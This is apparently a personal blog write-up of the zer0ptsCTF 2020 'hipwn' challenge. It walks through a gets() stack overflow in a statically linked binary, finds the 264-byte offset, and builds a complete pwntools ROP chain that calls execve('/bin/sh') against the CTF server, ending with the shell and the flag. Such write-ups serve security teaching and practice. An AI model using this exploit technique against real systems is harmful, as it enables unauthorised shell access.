Skip to main content
  1. Posts/

zer0ptsCTF - Hipwn Challenge

Writeup on how I managed to solve hipwn from zer0ptsCTF.

Analzying Source Code and Binary #

So, we got 2 files in a gzip archive, one which is main.c which is the source code of the binary and chall which is the executable we need to pwn. Let’s check it out:-

#include <stdio.h>

int main(void) {
  char name[0x100];
  puts("What's your team name?");
  gets(name);
  printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name);
  return 0;
}

Looks simple enough, of course we have gets which means we have a buffer overflow vulnerability which seems obvious. Other than that, nothing is really much of a concern. Let’s run file and check the output:-

robin@oracle:~/CTFs$ file chall
chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped

Damn, it is statically linked which means that all the libc functions which are used in the binary i.e. puts, printf, gets etc. are embedded in the binary itself and it is stripped which means no debugging symbols. Let’s see the binary and run the checksec to see what protections it has:-

robin@oracle:~/CTFs$ checksec chall
[*] '/home/robin/CTFs/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

If it was dynamically linked binary we could have done something like leak any GOT address and then calculate the offsets to do something like system("/bin/sh"). But since it is statically linked it is pointless approach, we gotta use stuffs which are available in binary itself.

Reverse Engineering the Binary #

Time to reverse enginneer the binary so that we could get the address of some useful functions. Let’s check out the main function:-

__int64 sub_400160()
{
  __int64 v1; // [rsp+0h] [rbp-108h]

  sub_40062F("What's your team name?");
  sub_4004EE(&v1);
  sub_400591((unsigned __int64)"Hi, %s. Welcome to zer0pts CTF 2020!\n");
  return 0LL;
}

There we go, from source code we know the following things:-

  • puts("What's your team name?") : sub_40062F("What's your team name?")
  • gets(name) : sub_4004EE(&v1)
  • printf("Hi, %s. Welcome to zer0pts CTF 2020!\n", name) :sub_400591((unsigned __int64)"Hi, %s. Welcome to zer0pts CTF 2020!\n")

So, now we know that 0x4004EE is the address of the gets and 0x40062F is the address of puts and 0x400591 is the address of the printf, let’s keep this thing in mind and time to pwn it.

Pwning Time #

So, my initial step was to use any address from bss to store thw address of /bin/sh and after that make a exceve syscall to spawn a shell. I used pwntools to automate most of the parts like getting the bss address and incrementing it by 0x200 offsets so that the initial address wom’t be overwritten as bss loads IO related informations. Let’s get it done:-

Finding offsets #

Finding the offset with gdb-gef’s de-brujin based pattern search:-

gef  pattern create 300
[+] Generating a pattern of 300 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef1'
gef  r
Starting program: /home/robin/CTFs/chall 
What's your team name?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
Hi, aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa. Welcome to zer0pts CTF 2020!

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0               
$rbx   : 0x6261616161616168 ("haaaaaab"?)
$rcx   : 0x0               
$rdx   : 0xffffffff        
$rsp   : 0x00007fffffffddf8    "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa"
$rbp   : 0x00007fffffffde38    0x00007fffffffe1e1    "/home/robin/CTFs/chall"
$rsi   : 0x0000000000402efd     add BYTE PTR [rax], al
$rdi   : 0x0000000000604688    "Hi, aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaa[...]"
$rip   : 0x000000000040019c     ret 
$r8    : 0x2000            
$r9    : 0x12c             
$r10   : 0x8080808080808080
$r11   : 0x202             
$r12   : 0x0000000000400160     push rbx
$r13   : 0x00007fffffffde48    0x00007fffffffe1f8    "CLUTTER_IM_MODULE=xim"
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffddf8│+0x0000: "iaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa"	  $rsp
0x00007fffffffde00│+0x0008: "jaaaaaabkaaaaaablaaaaaabmaaa"
0x00007fffffffde08│+0x0010: "kaaaaaablaaaaaabmaaa"
0x00007fffffffde10│+0x0018: "laaaaaabmaaa"
0x00007fffffffde18│+0x0020: 0x000000006161616d ("maaa"?)
0x00007fffffffde20│+0x0028: 0x0000000000000000
0x00007fffffffde28│+0x0030: 0x00000000004001b3     lea rdx, [rdi+0x8]
0x00007fffffffde30│+0x0038: 0x0000000000000001
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x400192                  add    rsp, 0x100
     0x400199                  xor    eax, eax
     0x40019b                  pop    rbx
    0x40019c                  ret    
[!] Cannot disassemble from $PC
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "chall", stopped 0x40019c in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40019c → ret 
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x000000000040019c in ?? ()
gef  x/xg $rsp
0x7fffffffddf8:	0x6261616161616169
gef  pattern search 0x6261616161616169
[+] Searching '0x6261616161616169'
[+] Found at offset 264 (little-endian search) likely

Adding it to exploit:-

payload = "A"*264
Using gets to store /bin/sh adddress #

This one does gets(writeable_addr) as in 64 bit binaries rdi has first arguments.

payload += p64(pop_rdi) 
payload += p64(writable_readable_addr)
payload += p64(0x4004EE) # We know the `gets` address from RE part
Doing a execve syscall #

Since we have found offsets and chained the rop chain to store /bin/sh in bss address, time to do a execve syscall:-

payload += p64(pop_rax) # This one holds the number of which syscall has to done
payload += p64(0x3b) # This ensures `rax` contains `0x3b` which means it is doing an `execve`
payload += p64(pop_rdi) # Popping `rdi` address
payload += p64(writable_readable_addr) # writeable address which has `/bin/sh` is loaded to `rdi`
payload += p64(pop_rsi) # Popping `rsi` and `r15`
payload += p64(0) # Loading `0` to `rsi`
payload += p64(0) # Loading `0` to `r15` 
payload += p64(pop_rdx) # Popping rdx
payload += p64(0) # We will load to `0` to `rdx`
payload += p64(syscall) # Adding `syscall; ret;` at last to request syscall

We are doing execve("/bin/sh", 0, 0) to spawn a shell.

Final Exploit #

Here is the final exploit:-

from pwn import *

pop_rdi = 0x000000000040141c # pop rdu; ret;
pop_rdx = 0x00000000004023f5 # pop rdx; ret;
pop_rsi = 0x000000000040141a # pop rsi; pop r15; ret;
pop_rax = 0x0000000000400121 # pop rax; ret;
syscall = 0x00000000004024dd # syscall; ret;

elf = ELF("./chall")
writable_readable_addr = elf.bss() + 0x200

payload = b"A"*264
payload += p64(pop_rdi) 
payload += p64(writable_readable_addr)
payload += p64(0x4004EE)
payload += p64(pop_rdi)
payload += p64(writable_readable_addr)
payload += p64(0x40062F)
payload += p64(pop_rax)
payload += p64(0x3b)
payload += p64(pop_rdi)
payload += p64(writable_readable_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

#p = process("./chall")
p = connect("18.179.178.246", 9010)

p.sendlineafter("?\n", payload)
p.sendline(b"/bin/sh\x00") # Sending this to stdin which means the `writable_readable_addr` will have `/bin/sh`

p.interactive()

Running the exploit:-

robin@oracle:~/CTFs$ python hipwn_xpl.py 
[*] '/home/robin/CTFs/chall'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to 18.179.178.246 on port 9010: Done
[*] Switching to interactive mode
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
zer0pts{welcome_yokoso_osooseyo_huanying_dobropozhalovat}
$  

Yay, we got this. I hope you learned something. Encontered any issues? Contact @D4mianWayne